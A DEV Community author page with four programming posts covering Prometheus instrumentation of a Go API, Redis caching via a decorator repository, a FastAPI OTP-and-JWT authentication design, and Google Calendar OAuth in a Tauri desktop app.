DEV Community: Yar Khan

Instrumenting a Go API with Prometheus

Yar Khan — Sat, 18 Jul 2026 16:40:14 +0000

Exposing a /metrics endpoint takes five minutes. Getting the instrumentation itself right — metrics that stay cheap at scale, catch real problems, and don't lie under load. Here's a breakdown of the design decisions behind a recent metrics layer built for a Go API.

RED as the baseline, not the ceiling

Request rate, error ratio, and latency:

http_requests_total{method, path, status} for volume and error breakdown
http_request_duration_seconds as a histogram, buckets tuned to the actual latency distribution
http_requests_in_flight as a gauge for concurrency pressure
http_response_size_bytes to catch payload bloat before it manifests as latency

The label that matters most here is path. Using the resolved URL instead of the route template turns every /users/42, /users/43... into its own series — cardinality explodes on nothing but normal traffic, and unmatched routes (scanner noise, bad paths) make it worse. Route templates as labels, unmatched paths collapsed into a single bucket, and the metrics endpoint itself excluded from the middleware so scrape traffic doesn't pollute its own numbers.

Connection pool saturation

Database exhaustion rarely announces itself early through query timing alone. Wiring NewDBStatsCollector against the connection pool surfaces open/in-use/idle counts plus wait count and wait duration — the earliest indicator that a pool is under pressure, well before it shows up as user-facing latency.

That instrumentation only means something paired with actual limits: max open connections, idle connection caps, connection lifetime. Without bounds, a spike exhausts the database directly. With them, the same spike shows up as queuing in the metrics — visible, diagnosable, alertable.

Security events belong in the metrics pipeline

Structured logs answer "what happened." They don't answer "is this happening right now, at what rate." Auth failures, failed logins by reason, account lockouts, rate-limit triggers, and forbidden-access attempts got a parallel path into Prometheus — security_events_total{event, reason}, logins_total{result} — incremented alongside the existing log calls.

That's the difference between discovering a brute-force pattern by grepping logs after the fact, and alerting on the rate the moment it starts climbing.

Reliability and runtime signals

panics_recovered_total from the recovery middleware — stability issues that would otherwise blend into a pile of 500s
cache_operations_total{cache, result} on hit/miss paths — actual numbers about cache effectiveness
app_build_info{service, version, env} — correlating any metric back to the exact build and environment it came from
Default Go collectors, registered once: goroutines, memstats, GC pauses, CPU, resident memory — no custom code, and usually the first sign of a leak long before it's user-facing

The principle underneath it

Every metric is a standing commitment — a series that has to be maintained — and every label is a multiplier on its cost. The goal was never maximum coverage. It was a deliberately small set of signals that answer "is this healthy, and if not, why" without opening a log file first. The mechanics of Prometheus are the easy part. Choosing what deserves to be measured, and building the guardrails that keep it cheap as traffic grows, is the actual work.

How to Add Redis Caching Without Touching Your Business Logic

Yar Khan — Fri, 17 Jul 2026 23:59:46 +0000

A practical guide to the Decorator Pattern in Go — and why "how many files did this change touch" is the real test of clean architecture.

The problem

Most Go backends end up with some version of this layering:

Handler → Service → Repository

At some point, a read-heavy piece of the system starts getting hit hard — a listing endpoint, a dashboard feed, anything queried far more often than it's written to. The obvious fix is caching. And the obvious first instinct is to open up the service layer and start adding Redis calls directly:

func (s *Service) GetAll(ctx context.Context) ([]Item, error) {
    cached, err := s.redis.Get(ctx, "items:all")
    if err == nil {
        var list []Item
        json.Unmarshal([]byte(cached), &list)
        return list, nil
    }

    list, err := s.repo.GetAll(ctx)
    // ...marshal, cache, return
}

It works. It's also the wrong instinct — and this is why.

Why "just add it to the service" is a trap

Once caching logic lives inside the service, every method that touches data starts accumulating cache-read, cache-write, and invalidation logic sitting right next to the actual business rules. A Create method that used to be a few lines of validation now also needs to know cache key formats, TTLs, and what to invalidate on write.

Two problems fall out of this immediately:

1. The service becomes hard to test in isolation. Testing that Create rejects invalid input now requires wiring up a fake Redis client too, even though the test has nothing to do with caching.

2. Caching becomes a leaky concern. A service's job is to enforce business rules and orchestrate. The moment it also knows how data is persisted-and-cached, two things that change for completely different reasons are now coupled in the same file. A TTL tweak and a validation rule change suddenly touch the same code.

Here's a useful test to apply to any architecture decision:

If this dependency were ripped out completely, how many files would need to change?

With caching embedded directly in the service, the answer is "the service itself, plus every test file for it." That's a smell. A well-isolated concern should be addable and removable as a localized, additive change — not a rewrite of things that have nothing to do with it.

The fix: caching is a decorator, not a service concern

The key insight: a cache-aside repository is still a repository. From the service's point of view, it doesn't matter whether a method hits the database directly or checks Redis first — it just needs something that satisfies the repository interface. So instead of teaching the service about Redis, build a second implementation of the repository interface that wraps the real one.

Service → Repository (interface)
                │
       ┌────────┴────────┐
       │                 │
CachedRepository    RealRepository
 (checks Redis        (talks to
  first, falls          the DB)
  through to inner)

CachedRepository implements the exact same interface as the real database-backed implementation. It holds a reference to that real implementation internally and only calls it on a cache miss. The service never knows the difference — it's still just calling methods on a Repository.

Directory structure

A layout that keeps this separation honest looks roughly like this:

domain/
├── model.go              # domain struct(s), sentinel errors
├── repository.go         # Repository interface definition
├── service.go             # business logic — validation, orchestration. Zero cache awareness.
├── cached_repository.go  # decorator — implements Repository, wraps another Repository + cache

handler/
└── handler.go             # HTTP layer — request binding, response mapping

repository/
└── postgres_repository.go # the real database implementation of Repository

cache/
└── client.go               # generic, domain-agnostic cache wrapper (Get/Set/Delete/locks)

Two things worth calling out:

The cache client (cache/client.go) knows nothing about any specific domain. It's a thin, reusable wrapper — Get, Set, Delete, Exists, maybe a distributed lock. Any part of the system can use it. It has zero business logic in it.
The decorator (cached_repository.go) knows nothing about HTTP or database specifics. It only depends on the repository interface and the generic cache client. It's the one place where caching policy lives — key naming, TTLs, what gets invalidated on which write.

Transport (the cache client) is reusable across the whole application. Policy (the decorator) is specific to the domain it caches and lives right next to it — not buried in a shared file, not scattered across services.

The code

The interface everything depends on

type Repository interface {
    Create(ctx context.Context, item *Item) error
    GetAll(ctx context.Context) ([]Item, error)
    GetByID(ctx context.Context, id uuid.UUID) (*Item, error)
    Delete(ctx context.Context, id uuid.UUID) error
}

Nothing unusual here — this is exactly the interface a plain database-backed repository would implement with no caching involved at all. That's the point: introducing caching does not change this interface.

The service — completely unaware caching exists

type Service struct {
    repo Repository
}

func NewService(repo Repository) *Service {
    return &Service{repo: repo}
}

func (s *Service) Create(ctx context.Context, item *Item) error {
    item.Name = strings.TrimSpace(item.Name)
    if item.Name == "" {
        return ErrEmptyName
    }
    return s.repo.Create(ctx, item)
}

func (s *Service) GetAll(ctx context.Context) ([]Item, error) {
    return s.repo.GetAll(ctx)
}

func (s *Service) Delete(ctx context.Context, id uuid.UUID) error {
    return s.repo.Delete(ctx, id)
}

There is no cache import in this file. No key naming, no TTL, nothing. If every trace of Redis were deleted from the codebase, this file would not need a single edit.

The decorator — where caching actually lives

type CachedRepository struct {
    inner  Repository // the real repository — called only on a cache miss
    cache  *cache.Client
}

func NewCachedRepository(inner Repository, c *cache.Client) *CachedRepository {
    return &CachedRepository{inner: inner, cache: c}
}

const (
    cacheVersion = "v1" // bump if the domain struct's shape ever changes
    listTTL      = 2 * time.Minute
)

func keyAll() string { return "items:" + cacheVersion + ":all" }

func (c *CachedRepository) GetAll(ctx context.Context) ([]Item, error) {
    key := keyAll()

    if list, ok := c.getList(ctx, key); ok {
        return list, nil // cache hit — database never touched
    }

    list, err := c.inner.GetAll(ctx) // cache miss — fall through to the real repository
    if err != nil {
        return nil, err
    }

    c.setList(ctx, key, list, listTTL)
    return list, nil
}

func (c *CachedRepository) Create(ctx context.Context, item *Item) error {
    if err := c.inner.Create(ctx, item); err != nil {
        return err
    }
    c.invalidate(ctx, keyAll())
    return nil
}

func (c *CachedRepository) Delete(ctx context.Context, id uuid.UUID) error {
    if err := c.inner.Delete(ctx, id); err != nil {
        return err
    }
    c.invalidate(ctx, keyAll())
    return nil
}

func (c *CachedRepository) invalidate(ctx context.Context, keys ...string) {
    for _, k := range keys {
        if err := c.cache.Delete(ctx, k); err != nil {
            fmt.Printf("err: %v", err)
        }
    }
}

(getList/setList are small marshal/unmarshal helpers around the cache client — omitted here for brevity, but they're the only place encoding/json shows up in this file.)

Wiring — the only place that changes

// main.go — composition root
realRepo := repository.NewPostgresRepository(db)
cachedRepo := domain.NewCachedRepository(realRepo, cacheClient, logger)
svc := domain.NewService(cachedRepo) // ← service receives the cached one

That's the entire integration. Service is constructed exactly as it would be without caching — it just receives cachedRepo instead of realRepo. Since it's typed against the Repository interface either way, it has no way of knowing which one it got.

Why this is the actual point

Apply the test from earlier: if caching were ripped out entirely, how much would change?

With the decorator: delete cached_repository.go, change one line in main.go back to svc := domain.NewService(realRepo). Done. The handler, the service, the business-rule tests — none of it moves.

That's what clean architecture buys in practice. It's not about folder naming conventions or hitting some target number of layers — it's about the blast radius of a change matching its actual scope. Adding caching is a caching-shaped change. It shouldn't require editing files whose job is business rules.

What this means for testing

Service tests run against a mock Repository — no cache involved at all. Fast, minimal setup, and they test exactly one thing: business rules.
Decorator tests run independently: cache hit returns without touching the inner repository, cache miss falls through and populates the cache, writes invalidate the right keys. These tests carry zero business-rule logic — they only verify caching behavior.

Two test suites, two concerns, no overlap, no reason to touch one when changing the other.

The takeaway

The decorator pattern isn't a clever trick — it falls straight out of programming against interfaces instead of concrete types. Once a service depends on a Repository interface rather than a specific struct, anything satisfying that interface can be swapped in underneath it, including something that wraps another implementation of itself.

That's the difference between a caching layer and a caching tangle. And it's not specific to Redis — the same pattern applies to adding retries, metrics, logging, or any other cross-cutting concern to something that already works, without touching the thing itself.

Pattern applies regardless of stack — shown here in Go with a SQL-backed repository and Redis, but the shape is language-agnostic.

Secure Authentication (FastAPI + OTP + JWT)

Yar Khan — Tue, 24 Mar 2026 11:56:51 +0000

This document explains the complete authentication design, with a strong focus on security controls and implementation details.

What This Auth System Covers

User registration with hashed password storage
Email OTP verification with anti-abuse controls
Login gated by email verification
Password reset using OTP + short-lived purpose-scoped token
Logout with JWT revocation (token blacklist)

Security Goals

The flow is designed to prevent:

Unauthorized login before email ownership is verified
OTP brute-force and OTP resend spam
Reset-token misuse outside password reset flow
Continued use of access tokens after logout

High-Level Flow

Register: create user (verified=False)
Send OTP: POST /auth/otp/send
Verify OTP: POST /auth/otp/verify -> marks user verified
Login: POST /auth/login -> JWT only for verified users
Forgot password:
1. POST /auth/otp/send
2. POST /auth/verify-reset -> short-lived token (purpose=password_reset)
3. POST /auth/reset-password with reset token
Logout: POST /auth/logout -> token added to blacklist

Architecture Diagram

Registration Flow

Password Reset Flow

Core Endpoints

# backend/app/routers/auth_router.py

@router.post("/register")
def register(request: UserRegister, service: AuthService):
    return service.register(request)

@router.post("/login")
def login(request: UserLogin, service: AuthService):
    return service.login(request)

@router.post("/otp/send")
async def send_otp(request: OTPRequest, service: AuthService, background_tasks: BackgroundTasks):
    return service.send_otp(email=request.email, background_tasks=background_tasks)

@router.post("/otp/verify")
def verify_otp(request: OTPVerifyRequest, service: AuthService):
    return service.verify_otp(email=request.email, input_code=request.code)

@router.post("/verify-reset")
def forgot_password(request: OTPVerifyRequest, service: AuthService):
    return service.verify_reset_otp(email=request.email, input_code=request.code)

@router.post("/reset-password")
def reset_password(request: PasswordResetRequest, user: PasswordResetUser, service: AuthService):
    return service.reset_password(email=user, password=request.new_password)

@router.post("/logout")
def logout(block_token: BlockToken):
    return {"message": "Logout successful"}

Request Validation

# backend/app/schemas/user_schema.py
class UserRegister(BaseModel):
    email: EmailStr
    password: str
    confirm_password: str = Field(alias="confirmPassword")

# backend/app/schemas/otp_schema.py
class OTPRequest(BaseModel):
    email: EmailStr

class OTPVerifyRequest(BaseModel):
    email: EmailStr
    code: str

class PasswordResetRequest(BaseModel):
    new_password: str = Field(alias="newPassword")

OTP Security Model

# backend/app/otp/otp_manager.py
class OTPManager:
    OTP_LENGTH = 6
    OTP_EXPIRY_MINUTES = 10
    MAX_ATTEMPTS = 5
    MAX_RESENDS = 3
    LOCKOUT_MINUTES = 15
    RATE_LIMIT_SECONDS = 60

Controls implemented:

Cryptographically secure OTP generation (secrets)
OTP hash storage (SHA-256) instead of plaintext
10-minute OTP TTL
Resend rate limit (60s)
Max resend cap (3)
Max failed attempts (5) + temporary lockout (15m)

Registration Logic

def register(self, user: UserRegister) -> UserResponse:
    if len(user.password) < 8:
        raise HTTPException(status_code=400, detail="Password must be at least 8 characters")

    is_valid, error_msg = validate_email_address(user.email)
    if not is_valid:
        raise HTTPException(status_code=400, detail=error_msg)

    if self.user_repo.is_user_exists(user.email):
        raise HTTPException(status_code=400, detail="Account with this email already exists")

    if user.password != user.confirm_password:
        raise HTTPException(status_code=400, detail="Password and confirm password do not match")

    hashed_password = hash_password(user.password)
    return self.user_repo.create_user(user.email, hashed_password)

Security notes:

Password is never stored plaintext
User remains unverified until OTP verification succeeds

OTP Send + Verify Logic

def send_otp(self, email: EmailStr, background_tasks: BackgroundTasks) -> dict:
    if self.otp_repo.is_rate_limited(email):
        raise HTTPException(status_code=429, detail="Please wait before requesting another code")

    if self.otp_repo.is_locked(email):
        raise HTTPException(status_code=403, detail="Account locked temporarily")

    existing = self.otp_repo.get_otp(email)
    if existing and existing.resend_count >= OTPManager.MAX_RESENDS:
        raise HTTPException(status_code=429, detail="Maximum OTP requests exceeded")

    otp_code = OTPManager.generate_otp()
    code_hash = OTPManager.hash_otp(otp_code)
    self.otp_repo.create_or_update_otp(email, code_hash)

    background_tasks.add_task(self.email_service.send_email, email_data)
    return {"message": "OTP sent successfully"}

def _verify_otp_core(self, email: EmailStr, input_code: str):
    if self.otp_repo.is_locked(email):
        raise HTTPException(status_code=403, detail="Account is temporarily locked")

    otp_record = self.otp_repo.get_otp(email)
    if not otp_record:
        raise HTTPException(status_code=404, detail="No OTP found for this email")

    if datetime.now(timezone.utc) > otp_record.expires_at:
        raise HTTPException(status_code=400, detail="OTP has expired")

    if not OTPManager.verify_otp(input_code, otp_record.code_hash):
        self.otp_repo.increment_attempts(email)
        raise HTTPException(status_code=400, detail="Invalid OTP")

    self.otp_repo.mark_verified(email)
    self.otp_repo.delete_otp(email)

verify_otp uses this core and marks user email verified.

Login Logic

def login(self, user_data: UserLogin) -> TokenResponse:
    user = self.user_repo.get_user_by_email(user_data.email)

    if user and not user.verified:
        raise HTTPException(status_code=401, detail="Email address not verified")

    if not user or not verify_password(user_data.password, user.password):
        raise HTTPException(status_code=401, detail="Incorrect email or password")

    access_token = create_access_token(data={
        "sub": user.email,
        "user_id": str(user.id),
        "subscription": {...}
    })

    return {"access_token": access_token, "token_type": "bearer", "user": user}

Security behavior:

Unverified users are denied
Password verification uses Argon2 helper
JWT includes expiry claim (exp)

Password Reset (Scoped Token)

def verify_reset_otp(self, email: EmailStr, input_code: str):
    self._verify_otp_core(email, input_code)
    access_token = create_access_token(
        data={"email": email, "purpose": "password_reset"},
        expires_delta=timedelta(minutes=10)
    )
    return {"message": "OTP verified", "access_token": access_token}

def get_password_reset_user(credentials: HTTPAuthorizationCredentials = Depends(security)):
    payload = decode_access_token(credentials.credentials)
    if payload.get("purpose") != "password_reset":
        raise HTTPException(status_code=401, detail="Invalid token purpose")
    return payload.get("email")

This prevents normal access tokens from being used to reset passwords.

Logout + Token Revocation

def block_token_logout(credentials: HTTPAuthorizationCredentials = Depends(security), db: Session = Depends(get_db)) -> bool:
    token = credentials.credentials
    payload = decode_access_token(token)
    expires_at = datetime.fromtimestamp(payload["exp"], tz=timezone.utc)
    TokenBlacklistRepository(db).add_token(token, payload["user_id"], expires_at)
    return True

def get_current_user(...):
    payload = decode_access_token(token)
    if TokenBlacklistRepository(db).is_blacklisted(token):
        raise HTTPException(status_code=401, detail="Token has been revoked")

This gives immediate logout invalidation, even for unexpired JWTs.

Data Model Notes

OTP Table

email (PK)
code_hash
expires_at
last_sent_at
attempts
resend_count
verified
locked_until
optional audit fields (ip_address, user_agent)

Users Table

email
password (hashed)
verified

Final Takeaway

This auth flow is a strong security baseline: verification-first onboarding, abuse-resistant OTP lifecycle, scoped password reset, and revocable JWT sessions. With secret management and a few operational hardening steps, it is production-ready for security-sensitive workloads.

Building Google Calendar OAuth for a Desktop App

Yar Khan — Tue, 10 Feb 2026 15:56:46 +0000

I recently added Google Calendar integration to my Tauri desktop app, and honestly, it was more interesting than I expected. OAuth in desktop apps is a different beast than web apps - there's no domain, no guaranteed redirect URL, and you're running entirely on the user's machine.

Here's the story of how I got it working, complete with code and the lessons learned.

The Challenge

I wanted users to connect their Google Calendar so my task manager could:

Create calendar events for tasks with deadlines
Update events when tasks change
Delete events when tasks are completed
Sync reminder frequencies

Simple enough, right? Well...

Attempt 1: Device Code Flow (Failed)

My initial plan was Google's Device Code Flow - that TV-style flow where you show users a code and tell them to visit google.com/device. Seemed perfect:

No localhost server needed
Works on any device
User-friendly for limited-input devices

But here's what went wrong:

// Device Flow attempt - didn't work!
let response = client
    .post("https://oauth2.googleapis.com/device/code")
    .form(&[("client_id", CLIENT_ID), ("scope", SCOPES)])
    .send()
    .await?;

// Error: 401 Unauthorized
// "error": "invalid_client",
// "error_description": "Invalid client type."

The issues:

Wrong credential type: Device Flow requires "TVs and Limited Input devices" OAuth client type
Desktop app credentials don't work: My "Desktop app" credentials were rejected
Limited scope support: Some Google APIs don't support Device Flow
Poor UX: Copy-pasting codes feels clunky for a desktop app

After hitting walls with invalid_client errors for hours, I realized this wasn't the right approach for a desktop app with full keyboard/browser access.

Attempt 2: Localhost Redirect (Success!)

Then I discovered what VS Code, Spotify, Slack, and virtually every other desktop app does: spin up a temporary HTTP server on localhost.

The flow:

Open user's browser → Google OAuth page
User authorizes
Google redirects to http://localhost:3333/oauth/callback?code=...
Your tiny HTTP server catches it
Exchange code for tokens
Show success page
Shut down server

This is actually the standard OAuth 2.0 Authorization Code flow, adapted for desktop apps.

Why it works:

Google's "Desktop app" credentials automatically accept any localhost redirect
No need to pre-configure ports or URLs
Instant response (no polling)
Familiar user experience
Supports all Google API scopes

I found this excellent Rust OAuth guide that confirmed this is the right path. Let's build it.

The Complete Implementation

Project Structure

First, let's look at how everything is organized:

src-tauri/
├── src/
│   ├── commands/
│   │   └── calendar_commands.rs      # Tauri commands (Frontend ↔ Rust)
│   ├── services/
│   │   └── calendar_service.rs       # Business logic layer
│   ├── thirdparty/
│   │   └── calendar/
│   │       └── google_oauth.rs       # Google API integration
│   ├── structs/
│   │   └── calendar/
│   │       └── calendar_credentials.rs  # Data structures
│   ├── db/
│   │   ├── mod.rs                    # Database operations
│   │   ├── tables/
│   │   │   └── calendar_credentials.sql
│   │   └── sql/
│   │       ├── save_calendar_credentials.sql
│   │       └── get_calendar_credentials.sql
│   └── oauth_pages/
│       ├── success.html              # OAuth success page
│       ├── error.html                # OAuth error page
│       └── security_error.html       # CSRF attack warning

This layered approach keeps concerns separated:

Commands: Thin layer exposing Rust functions to JavaScript
Services: Orchestrates business logic and database operations
Thirdparty: Talks to external APIs (Google)
Database: All SQL isolated in separate files
Structs: Shared data types

Step 1: Data Structures

Start with the core data type for storing OAuth credentials:

// src/structs/calendar/calendar_credentials.rs
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize, Clone)]
pub struct CalendarCredentials {
    pub email: String,
    pub access_token: String,
    pub refresh_token: String,
    pub token_expiry: DateTime<Utc>,
}

Why this structure?

email: Shows user which account is connected
access_token: Short-lived (1 hour), used for API calls
refresh_token: Long-lived, gets new access tokens
token_expiry: When to refresh the access token
DateTime<Utc>: Timezone-aware timestamps prevent bugs

Step 2: Database Schema

Single-user table with a clever constraint:

-- src/db/tables/calendar_credentials.sql
CREATE TABLE IF NOT EXISTS calendar_credentials (
    id INTEGER PRIMARY KEY CHECK (id = 1),  -- Only allows ONE row
    email VARCHAR(255) NOT NULL,
    access_token TEXT NOT NULL,
    refresh_token TEXT NOT NULL,
    token_expiry DATETIME NOT NULL,
    created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
    updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);

-- Initialize with empty placeholder
INSERT OR IGNORE INTO calendar_credentials (id, email, access_token, refresh_token, token_expiry)
VALUES (1, '', '', '', CURRENT_TIMESTAMP);

The CHECK (id = 1) trick ensures only one row can exist. This is a single-user desktop app, so we don't need multiple accounts (yet). Trying to insert id = 2 will fail.

Save credentials:

-- src/db/sql/save_calendar_credentials.sql
UPDATE calendar_credentials 
SET email = ?, 
    access_token = ?, 
    refresh_token = ?, 
    token_expiry = ?, 
    updated_at = CURRENT_TIMESTAMP 
WHERE id = 1

Get credentials:

-- src/db/sql/get_calendar_credentials.sql
SELECT email, access_token, refresh_token, token_expiry
FROM calendar_credentials
WHERE id = 1 AND email != ''

The email != '' check returns NULL if never authenticated.

Step 3: The OAuth Flow (The Heart of It All)

Here's the complete OAuth implementation:

// src/thirdparty/calendar/google_oauth.rs
use crate::structs::calendar::CalendarCredentials;
use chrono::{Duration, Utc};
use reqwest::Client;
use serde::Deserialize;
use std::sync::{Arc, Mutex};
use tiny_http::{Server, Response};

// OAuth Configuration
const CLIENT_ID: &str = "your-client-id.apps.googleusercontent.com";
const CLIENT_SECRET: &str = "your-client-secret";
const REDIRECT_URI: &str = "http://localhost:3333/oauth/callback";
const GOOGLE_AUTH_URL: &str = "https://accounts.google.com/o/oauth2/v2/auth";
const GOOGLE_TOKEN_URL: &str = "https://oauth2.googleapis.com/token";
const SCOPES: &str = "https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/userinfo.email";

// Load HTML templates at compile time (zero runtime cost!)
const SUCCESS_HTML: &str = include_str!("../../oauth_pages/success.html");
const ERROR_HTML: &str = include_str!("../../oauth_pages/error.html");
const SECURITY_ERROR_HTML: &str = include_str!("../../oauth_pages/security_error.html");

// Response structures for deserializing Google's JSON
#[derive(Debug, Deserialize)]
struct TokenResponse {
    access_token: String,
    refresh_token: Option<String>,
    expires_in: i64,
    #[allow(dead_code)]
    token_type: String,
}

#[derive(Deserialize)]
struct UserInfo {
    email: String,
}

// Generate random state for CSRF protection
fn generate_state() -> String {
    use rand::Rng;
    rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(32)
        .map(char::from)
        .collect()
}

pub async fn start_oauth_flow() -> Result<CalendarCredentials, String> {
    // Step 1: Generate CSRF protection token
    let state = generate_state();

    // Step 2: Build authorization URL
    let auth_url = format!(
        "{}?client_id={}&redirect_uri={}&response_type=code&scope={}&state={}&access_type=offline&prompt=consent",
        GOOGLE_AUTH_URL,
        urlencoding::encode(CLIENT_ID),
        urlencoding::encode(REDIRECT_URI),
        urlencoding::encode(SCOPES),
        state
    );

    // Step 3: Open browser to Google's OAuth page
    webbrowser::open(&auth_url)
        .map_err(|e| format!("Failed to open browser: {}", e))?;

    // Step 4: Start tiny HTTP server for callback
    let server = Server::http("127.0.0.1:3333")
        .map_err(|e| format!("Failed to start server: {}", e))?;

    // Shared state for the authorization code
    let code_result = Arc::new(Mutex::new(None::<String>));
    let code_clone = code_result.clone();

    // Step 5: Wait for callback (with 5-minute timeout)
    let timeout = std::time::Duration::from_secs(300);
    let start = std::time::Instant::now();

    for request in server.incoming_requests() {
        if start.elapsed() > timeout {
            return Err("Authorization timeout after 5 minutes".to_string());
        }

        let url = request.url().to_string();

        // Only handle our callback path
        if !url.starts_with("/oauth/callback") {
            let _ = request.respond(Response::from_string("Not found").with_status_code(404));
            continue;
        }

        // Step 6: Parse query parameters
        if let Some(query) = url.split('?').nth(1) {
            let mut code = None;
            let mut received_state = None;
            let mut error = None;

            for param in query.split('&') {
                let parts: Vec<&str> = param.split('=').collect();
                if parts.len() == 2 {
                    match parts[0] {
                        "code" => code = Some(urlencoding::decode(parts[1]).unwrap_or_default().to_string()),
                        "state" => received_state = Some(parts[1].to_string()),
                        "error" => error = Some(parts[1].to_string()),
                        _ => {}
                    }
                }
            }

            // Step 7: Handle errors from Google
            if let Some(err) = error {
                let html = ERROR_HTML.replace("{{ERROR_MESSAGE}}", &err);
                let response = Response::from_string(html)
                    .with_header(tiny_http::Header::from_bytes(&b"Content-Type"[..], &b"text/html"[..]).unwrap());
                let _ = request.respond(response);
                return Err(format!("Authorization error: {}", err));
            }

            // Step 8: VERIFY STATE (Critical security check!)
            if received_state.as_deref() != Some(&state) {
                let response = Response::from_string(SECURITY_ERROR_HTML)
                    .with_header(tiny_http::Header::from_bytes(&b"Content-Type"[..], &b"text/html"[..]).unwrap());
                let _ = request.respond(response);
                return Err("Invalid state - possible CSRF attack".to_string());
            }

            // Step 9: Success! Send pretty page to browser
            if let Some(auth_code) = code {
                let response = Response::from_string(SUCCESS_HTML)
                    .with_header(tiny_http::Header::from_bytes(&b"Content-Type"[..], &b"text/html"[..]).unwrap());
                let _ = request.respond(response);

                *code_clone.lock().unwrap() = Some(auth_code);
                break;
            }
        }
    }

    // Step 10: Extract the authorization code
    let auth_code = code_result.lock().unwrap().take()
        .ok_or_else(|| "No authorization code received".to_string())?;

    // Step 11: Exchange code for tokens
    exchange_code_for_tokens(&auth_code).await
}

Why port 3333?

Ports 8080/5173 are often taken by dev servers. Port 3333 is uncommon enough to usually be free. Google's "Desktop app" credentials accept any localhost port automatically - no configuration needed.

The CSRF state parameter:

This prevents attackers from tricking users into authorizing malicious apps. The flow:

App generates random 32-char string
Includes it in authorization URL
Google includes it in callback
App verifies they match
If mismatch → Attack attempt detected!

The CSRF state parameter:

This prevents attackers from tricking users into authorizing malicious apps. The flow:

App generates random 32-char string
Includes it in authorization URL
Google includes it in callback
App verifies they match
If mismatch → Attack attempt detected!

Step 4: Token Exchange

After getting the authorization code, exchange it for actual tokens:

async fn exchange_code_for_tokens(code: &str) -> Result<CalendarCredentials, String> {
    let client = Client::builder()
        .timeout(std::time::Duration::from_secs(30))
        .build()
        .map_err(|e| format!("Failed to build HTTP client: {}", e))?;

    let params = [
        ("client_id", CLIENT_ID),
        ("client_secret", CLIENT_SECRET),
        ("code", code),
        ("grant_type", "authorization_code"),
        ("redirect_uri", REDIRECT_URI),
    ];

    let response = client
        .post(GOOGLE_TOKEN_URL)
        .form(&params)
        .send()
        .await
        .map_err(|e| format!("Failed to exchange code for tokens: {}", e))?;

    if !response.status().is_success() {
        let status = response.status();
        let error_body = response.text().await.unwrap_or_default();
        eprintln!("Token exchange failed: {} - {}", status, error_body);
        return Err(format!("Token exchange failed: {}", status));
    }

    let token_data: TokenResponse = response
        .json()
        .await
        .map_err(|e| format!("Failed to parse token response: {}", e))?;

    let refresh_token = token_data.refresh_token
        .ok_or_else(|| "No refresh token received. Try revoking app access and reconnecting.".to_string())?;

    let token_expiry = Utc::now() + Duration::seconds(token_data.expires_in);

    // Get user's email for display
    let email = get_user_email(&token_data.access_token).await?;

    Ok(CalendarCredentials {
        email,
        access_token: token_data.access_token,
        refresh_token,
        token_expiry,
    })
}

async fn get_user_email(access_token: &str) -> Result<String, String> {
    let client = Client::builder()
        .timeout(std::time::Duration::from_secs(30))
        .build()
        .map_err(|e| format!("Failed to build HTTP client: {}", e))?;

    let response = client
        .get("https://www.googleapis.com/oauth2/v2/userinfo")
        .bearer_auth(access_token)
        .send()
        .await
        .map_err(|e| format!("Failed to get user info: {}", e))?;

    if !response.status().is_success() {
        return Err(format!("Failed to get user email: {}", response.status()));
    }

    let user_info: UserInfo = response
        .json()
        .await
        .map_err(|e| format!("Failed to parse user info: {}", e))?;

    Ok(user_info.email)
}

Why we need both tokens:

Access token: Short-lived (1 hour), used for API calls
Refresh token: Long-lived (months/years), gets new access tokens

Getting the email:

We call Google's userinfo endpoint to show users which account is connected. This helps when they have multiple Google accounts.

Step 5: Token Refresh

Access tokens expire every hour. Here's how to refresh them:

pub async fn refresh_access_token(refresh_token: &str) -> Result<(String, i64), String> {
    println!("Refreshing access token...");
    let client = Client::builder()
        .timeout(std::time::Duration::from_secs(30))
        .build()
        .map_err(|e| format!("Failed to build HTTP client: {}", e))?;

    let params = [
        ("client_id", CLIENT_ID),
        ("client_secret", CLIENT_SECRET),
        ("refresh_token", refresh_token),
        ("grant_type", "refresh_token"),
    ];

    let response = client
        .post(GOOGLE_TOKEN_URL)
        .form(&params)
        .send()
        .await
        .map_err(|e| format!("Failed to refresh token: {}", e))?;

    if !response.status().is_success() {
        let status = response.status();
        let error_body = response.text().await.unwrap_or_default();
        return Err(format!("Token refresh failed: {} - {}", status, error_body));
    }

    let token_data: TokenResponse = response
        .json()
        .await
        .map_err(|e| format!("Failed to parse refresh response: {}", e))?;

    println!("Token refreshed successfully");
    Ok((token_data.access_token, token_data.expires_in))
}

This function returns a tuple (new_access_token, expires_in_seconds). The caller saves the new token to the database and updates the expiry timestamp.

Step 6: Service Layer (Business Logic)

The service layer orchestrates OAuth flow and database operations:

// src/services/calendar_service.rs
use crate::db::{self, Database};
use crate::structs::calendar::CalendarCredentials;
use crate::thirdparty::calendar;
use chrono::{DateTime, Utc, Duration};

pub async fn start_oauth_flow(db: &Database) -> Result<CalendarCredentials, String> {
    // Start OAuth flow and get credentials
    let credentials = calendar::start_oauth_flow().await?;

    // Save to database
    save_credentials(db, &credentials)?;

    Ok(credentials)
}

pub fn save_credentials(db: &Database, creds: &CalendarCredentials) -> Result<(), String> {
    let conn = db.get_connection();
    db::save_calendar_credentials(&conn, creds)
        .map_err(|e| format!("Failed to save credentials: {}", e))
}

pub fn get_credentials(db: &Database) -> Result<Option<CalendarCredentials>, String> {
    let conn = db.get_connection();
    db::get_calendar_credentials(&conn)
        .map_err(|e| format!("Failed to get credentials: {}", e))
}

pub fn disconnect_calendar(db: &Database) -> Result<(), String> {
    let conn = db.get_connection();
    db::clear_calendar_credentials(&conn)
        .map_err(|e| format!("Failed to disconnect calendar: {}", e))
}

// Get valid access token, refreshing if needed
pub async fn get_valid_access_token(db: &Database) -> Result<String, String> {
    let mut creds = get_credentials(db)?
        .ok_or_else(|| "No calendar credentials found".to_string())?;

    // Check if token is expired (with 5-minute buffer)
    let now = Utc::now();
    let buffer = Duration::minutes(5);

    if now + buffer >= creds.token_expiry {
        println!("Access token expired, refreshing...");

        // Refresh the token
        let (new_access_token, expires_in) = calendar::refresh_access_token(&creds.refresh_token).await?;

        // Update credentials
        creds.access_token = new_access_token;
        creds.token_expiry = now + Duration::seconds(expires_in);

        // Save to database
        save_credentials(db, &creds)?;
    }

    Ok(creds.access_token)
}

